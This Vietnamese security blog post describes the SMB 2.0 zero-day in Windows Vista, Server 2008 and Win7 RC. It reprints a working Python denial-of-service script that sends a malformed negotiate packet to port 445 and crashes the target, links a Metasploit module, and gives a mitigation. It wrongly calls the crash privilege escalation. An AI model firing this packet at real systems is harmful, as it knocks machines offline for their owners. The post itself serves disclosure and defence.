Lỗ hổng zero-day của SMB 2.0 protocol

Khoảng gần 2 năm trước, MS đã công bố phiên bản mới Server Message Block version 2 (SMB 2.0), xếp hàng thứ 6 trong các chức năng nổi bật của Windows server 2k8. SMB 2.0 được cải tiến rõ rệt hiệu năng bằng việc gom nhiều requests vào chung một gói tin duy nhất với những nét nổi bật như:

+ Có thể mở được nhiều file hơn trong một thư mục share.
+ Tối ưu khả năng share file qua đường truyền WAN
+ Với SMB 2.0 người dùng có thể download một file 300 Mb nhanh gấp 35 lần so với SMB 1.0 thông giao tiếp 100 Mbps từ 24 phút xuống còn 41 giây

<Windows server 2008 blog>

Ngày 7/9 vừa rồi, đoạn mã khai thác lỗ hổng này đã được công bố trên milworm, dựa vào lỗi này kẻ tấn công có thể thực thi các đoạn mã độc từ xa ở tầm hệ thống nhưng với điều kiện file sharing đã được bật, hiện việc khai thác này chưa được công bố, hoặc chí ít sẽ làm tê liệt hệ thống máy tính từ xa (gây lỗi màn hình xanh *chết chóc* -blue screen of death).

Bằng việc gửi lệch một thông tin header trong gói tin SMB 2.0 yêu cầu kết nối, chẳng hạn như đặt một giá trị High trong field Process ID (\x00\x26) là có thể làm treo hệ thống (gọi là kiểu tấn công *nâng quyền ưu tiên* - Privilege Escalation). Đây là đoạn mã đã công bố trên milworm:

Smb-Bsod.py

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->  :)
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()


+ Module khai thác với metasploit: http://trac.metasploit.com/browser/framework3/trunk/modules/auxiliary/dos/windows/smb/smb2_negotiate_pidhigh.rb

+ Lỗi đã được xác nhận trên các phiên bản của Vista, Win7 RC, Windows server 2k8 R1

+ Tuy nhiên lỗ hổng này sẽ khó có thể vượt mặt được firewall tại máy đích. Để khắc phục cần chặn port 445 hoặc tắt hẳn SMB 2.0 service :-) Tham khảo tại http://www.petri.co.il/how-to-disable-smb-2-on-windows-vista-or-server-2008.htm

This e-mail address is being protected from spambots. You need JavaScript enabled to view it
www.UITnetwork.com

 

Add comment


Security code
Refresh


Thăm dò

Bạn quan tâm đến nội dung nào nhất?
 

Hot nhất